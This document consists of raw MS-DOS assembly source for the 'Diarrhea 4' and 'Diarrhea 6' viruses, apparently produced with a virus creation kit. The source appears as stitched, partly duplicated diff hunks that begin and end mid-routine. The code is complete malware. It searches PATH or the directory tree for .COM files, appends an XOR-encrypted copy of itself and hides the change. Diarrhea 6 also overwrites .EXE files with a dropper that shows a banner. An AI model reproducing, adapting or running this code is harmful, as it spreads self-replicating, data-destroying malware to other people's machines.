inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
@@ -0,0 +1,424 @@
; DIARRHE4.ASM -- DIARRHEA 4
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call get_weekday
cmp ax,0005h ; Did the function return 5?
je strt00 ; If equal, do effect
jmp end00 ; Otherwise skip over it
strt00: lea si,[di + data00] ; SI points to data
mov cx,0107h ; Second argument is 263
push di ; Save DI
push es ; Save ES
jcxz uncrunch_done ; Exit if there are no characters
mov ah,0Fh ; BIOS get screen mode function
int 10h
xor ah,ah ; BIOS set screen mode function
int 10h ; Clear the screen
xor di,di
mov ax,0B800h ; AX is set to video segment
mov es,ax ; ES holds video segment
mov dx,di ; Save X coordinate for later
xor ax,ax ; Set current attributes
cld
loopa: lodsb ; Get next character
cmp al,32 ; Is it a control character?
jb foreground ; Handle it if it is
stosw ; Save letter on screen
next: loop loopa ; Repeat until we're done
jmp short uncrunch_done ; Leave this routine
foreground: cmp al,16 ; Are we changing the foreground?
jnb background ; If not, check the background
and ah,0F0h ; Strip off old foreground
or ah,al ; Put the new one on
jmp short next ; Resume looping
background: cmp al,24 ; Are we changing the background?
je next_line ; If AL = 24, go to next line
jnb flash_bit_toggle ; If AL > 24 set the flash bit
sub al,16 ; Change AL to a color number
add al,al ; Crude way of shifting left
add al,al ; four bits without changing
add al,al ; CL or wasting space. Ok,
add al,al ; I guess.
and al,08Fh ; Strip off old background
or ah,al ; Put the new one on
jmp short next ; Resume looping
next_line: add dx,160 ; Skip a whole line (80 chars.
mov di,dx ; AND 80 attribs.)
jmp short next ; Resume looping
flash_bit_toggle: cmp al,27 ; Is it a blink toggle?
jb multi_output ; If AL < 27, it's a blinker
jne next ; Otherwise resume looping
xor ah,128 ; Toggle the flash bit
jmp short next ; Resume looping
multi_output: cmp al,25 ; Set Zero flag if multi-space
mov bx,cx ; Save main counter
lodsb ; Get number of repititions
mov cl,al ; Put it in CL
mov al,' ' ; AL holds a space
jz start_output ; If displaying spaces, jump
lodsb ; Otherwise get character to use
dec bx ; Adjust main counter
start_output: xor ch,ch ; Clear CH
inc cx ; Add one to count
rep stosw ; Display the character
mov cx,bx ; Restore main counter
dec cx ; Adjust main counter
loopnz loopa ; Resume looping if not done
uncrunch_done: pop es ; Restore ES
pop di ; Restore DI
end00: call search_files ; Find and infect a file
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
mov bx,di ; BX points to the virus
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,135 ; Allocate 135 bytes on stack
mov byte ptr [bp - 135],'\' ; Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 134] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 70] ; DX points to the directory
int 021h
lea dx,[bx + com_mask] ; DX points to "*.COM"
push di
mov di,bx
call find_files ; Try to infect a .COM file
mov bx,di
pop di
jnc done_searching ; If successful the exit
jmp short traversal_loop ; Keep checking the PATH
done_searching: mov ah,03Bh ; DOS change directory function
lea dx,[bp - 135] ; DX points to old directory
int 021h
cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not then exit
stc ; Set the carry flag for failure
at_least_tried: mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
search_files endp
traverse_path proc near
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path: lea si,[bx + path_string] ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4: lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [bx + path_ad],di ; Save the PATH address
mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
ret ; Return to caller
path_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
traverse_path endp
found_subdir proc near
lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
lea di,[bp - 70] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir: lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one: xor si,si ; Zero SI to signal completion
moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address
ret ; Return to caller
found_subdir endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp
data00 DB 15,16,24,24,24,24,24,24,25,3,12,'ÒÄÄ¿ ÖÄÄ¿ ÖÄÒÄ¿ ÖÄ'
DB 'ÒÄ¿ Ò Â ÒÄÄ¿ ÄÒÄ ÖÄÄ¿ ÒÄÄ¿ ÒÄÄ¿ Ò Â ÒÄÄ¿ ÖÄÄ¿ Ò',24
DB 25,3,'ÇÄ',25,2,'ÇÄÄ´',25,2,'º',25,3,'º º ³ ÓÄÄ´ º '
DB '³ º ÇÄÄ´ ÇÄÂÙ ÇÄÂÙ ÇÄÄ´ ÇÄ',25,2,'ÇÄÄ´ º',24,25,3,'Ð'
DB 'ÄÄÙ Ð Á',25,2,'Ð',25,3,'Ð Ð Á ÓÄÄÙ ÐÄÄÙ ÄÐÄ Ð Á '
DB 'Ð Á Ð Á Ð Á ÐÄÄÙ Ð Á o',24,25,19,14,'-GG Allin '
DB '& The Texas Nazis',24,24,24,24,24,24,24,24,24,24,24,24
DB 24,24,24,24
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
@@ -0,0 +1,452 @@
; DIARRHE6.ASM -- DIARRHEA 6
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call search_files ; Find and infect a file
call search_files ; Find and infect another file
lea dx,[di + data00] ; DX points to data
lea si,[di + data01] ; SI points to data
push di ; Save DI
mov ah,02Fh ; DOS get DTA function
int 021h
mov di,bx ; DI points to DTA
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
int 021h
jc create_file ; If not found then create it
write_in_file: mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D01h ; DOS open file function, write
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ax,05701h ; DOS set file date/time function
mov cx,[di + 016h] ; CX holds old file time
mov dx,[di + 018h] ; DX holds old file data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes function
xor ch,ch ; Clear CH for attributes
mov cl,[di + 015h] ; CL holds old attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc write_in_file ; If successful do next file
jmp short dropper_end ; Otherwise exit
create_file: mov ah,03Ch ; DOS create file function
xor cx,cx ; File has no attributes
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
dropper_end: pop di ; Restore DI
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
data00 db "*.EXE",0
data01 dw 254h
db 0EBh, 03Dh, 090h, 000h, 064h, 001h, 002h, 000h
db 000h, 054h, 068h, 065h, 044h, 072h, 061h, 077h
db 020h, 043h, 04Fh, 04Dh, 020h, 066h, 069h, 06Ch
db 065h, 020h, 053h, 063h, 072h, 065h, 065h, 06Eh
db 020h, 053h, 061h, 076h, 065h, 01Ah, 055h, 06Eh
db 073h, 075h, 070h, 070h, 06Fh, 072h, 074h, 065h
db 064h, 020h, 056h, 069h, 064h, 065h, 06Fh, 020h
db 04Dh, 06Fh, 064h, 065h, 00Dh, 00Ah, 024h, 0B4h
db 00Fh, 0CDh, 010h, 0BBh, 000h, 0B8h, 03Ch, 002h
db 074h, 018h, 03Ch, 003h, 074h, 014h, 0C6h, 006h
db 003h, 001h, 000h, 0BBh, 000h, 0B0h, 03Ch, 007h
db 074h, 008h, 0BAh, 026h, 001h, 0B4h, 009h, 0CDh
db 021h, 0C3h, 08Eh, 0C3h, 08Bh, 03Eh, 007h, 001h
db 0BEh, 0F0h, 001h, 0BAh, 0DAh, 003h, 0B3h, 009h
db 08Bh, 00Eh, 004h, 001h, 0FCh, 033h, 0C0h, 0ACh
db 03Ch, 01Bh, 075h, 005h, 080h, 0F4h, 080h, 0EBh
db 06Ah, 03Ch, 010h, 073h, 007h, 080h, 0E4h, 0F0h
db 00Ah, 0E0h, 0EBh, 05Fh, 03Ch, 018h, 074h, 013h
db 073h, 01Fh, 02Ch, 010h, 002h, 0C0h, 002h, 0C0h
db 002h, 0C0h, 002h, 0C0h, 080h, 0E4h, 08Fh, 00Ah
db 0E0h, 0EBh, 048h, 08Bh, 03Eh, 007h, 001h, 081h
db 0C7h, 0A0h, 000h, 089h, 03Eh, 007h, 001h, 0EBh
db 03Ah, 08Bh, 0E9h, 0B9h, 001h, 000h, 03Ch, 019h
db 075h, 008h, 0ACh, 08Ah, 0C8h, 0B0h, 020h, 04Dh
db 0EBh, 00Ah, 03Ch, 01Ah, 075h, 007h, 0ACh, 04Dh
db 08Ah, 0C8h, 0ACh, 04Dh, 041h, 080h, 03Eh, 003h
db 001h, 000h, 074h, 013h, 08Ah, 0F8h, 0ECh, 0D0h
db 0D8h, 072h, 0FBh, 0ECh, 022h, 0C3h, 075h, 0FBh
db 08Ah, 0C7h, 0ABh, 0E2h, 0F1h, 0EBh, 002h, 0F3h
db 0ABh, 08Bh, 0CDh, 0E3h, 002h, 0E2h, 088h, 0C3h
db 00Fh, 010h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
db 019h, 04Fh, 018h, 019h, 003h, 009h, 01Bh, 0DAh
db 01Ah, 044h, 0C4h, 0BFh, 019h, 004h, 018h, 019h
db 003h, 0B3h, 00Ch, 01Bh, 0D2h, 0C4h, 0C4h, 0BFh
db 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D6h, 0C4h
db 0D2h, 0C4h, 0BFh, 020h, 020h, 0D6h, 0C4h, 0D2h
db 0C4h, 0BFh, 020h, 0D2h, 020h, 020h, 0C2h, 020h
db 020h, 0D2h, 0C4h, 0C4h, 0BFh, 020h, 0C4h, 0D2h
db 0C4h, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D2h
db 0C4h, 0C4h, 0BFh, 020h, 0D2h, 0C4h, 0C4h, 0BFh
db 020h, 0D2h, 020h, 020h, 0C2h, 020h, 0D2h, 0C4h
db 0C4h, 0BFh, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h
db 0D2h, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
db 003h, 0B3h, 00Ch, 01Bh, 0C7h, 0C4h, 019h, 002h
db 0C7h, 0C4h, 0C4h, 0B4h, 019h, 002h, 0BAh, 019h
db 003h, 0BAh, 020h, 0BAh, 020h, 0B3h, 020h, 0D3h
db 0C4h, 0C4h, 0B4h, 020h, 020h, 0BAh, 020h, 020h
db 0B3h, 020h, 020h, 0BAh, 020h, 020h, 0C7h, 0C4h
db 0C4h, 0B4h, 020h, 0C7h, 0C4h, 0C2h, 0D9h, 020h
db 0C7h, 0C4h, 0C2h, 0D9h, 020h, 0C7h, 0C4h, 0C4h
db 0B4h, 020h, 0C7h, 0C4h, 019h, 002h, 0C7h, 0C4h
db 0C4h, 0B4h, 020h, 0BAh, 009h, 01Bh, 0B3h, 019h
db 004h, 018h, 019h, 003h, 0B3h, 00Ch, 01Bh, 0D0h
db 0C4h, 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h
db 019h, 002h, 0D0h, 019h, 003h, 0D0h, 020h, 0D0h
db 020h, 0C1h, 020h, 0D3h, 0C4h, 0C4h, 0D9h, 020h
db 020h, 0D0h, 0C4h, 0C4h, 0D9h, 020h, 0C4h, 0D0h
db 0C4h, 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h
db 020h, 0C1h, 020h, 020h, 0D0h, 020h, 0C1h, 020h
db 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h, 0C4h
db 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h, 020h
db 06Fh, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
db 003h, 0B3h, 019h, 014h, 00Eh, 01Bh, 02Dh, 02Dh
db 047h, 047h, 020h, 041h, 06Ch, 06Ch, 069h, 06Eh
db 020h, 026h, 020h, 054h, 068h, 065h, 020h, 054h
db 065h, 078h, 061h, 073h, 020h, 04Eh, 061h, 07Ah
db 069h, 073h, 019h, 013h, 009h, 01Bh, 0B3h, 019h
db 004h, 018h, 019h, 003h, 0C0h, 01Ah, 044h, 0C4h
db 0D9h, 019h, 004h, 018h, 019h, 04Fh, 018h, 019h
db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
db 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h
db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
db 018h, 019h, 04Fh, 018h
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
@@ -0,0 +1,424 @@
; DIARRHE4.ASM -- DIARRHEA 4
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call get_weekday
cmp ax,0005h ; Did the function return 5?
je strt00 ; If equal, do effect
jmp end00 ; Otherwise skip over it
strt00: lea si,[di + data00] ; SI points to data
mov cx,0107h ; Second argument is 263
push di ; Save DI
push es ; Save ES
jcxz uncrunch_done ; Exit if there are no characters
mov ah,0Fh ; BIOS get screen mode function
int 10h
xor ah,ah ; BIOS set screen mode function
int 10h ; Clear the screen
xor di,di
mov ax,0B800h ; AX is set to video segment
mov es,ax ; ES holds video segment
mov dx,di ; Save X coordinate for later
xor ax,ax ; Set current attributes
cld
loopa: lodsb ; Get next character
cmp al,32 ; Is it a control character?
jb foreground ; Handle it if it is
stosw ; Save letter on screen
next: loop loopa ; Repeat until we're done
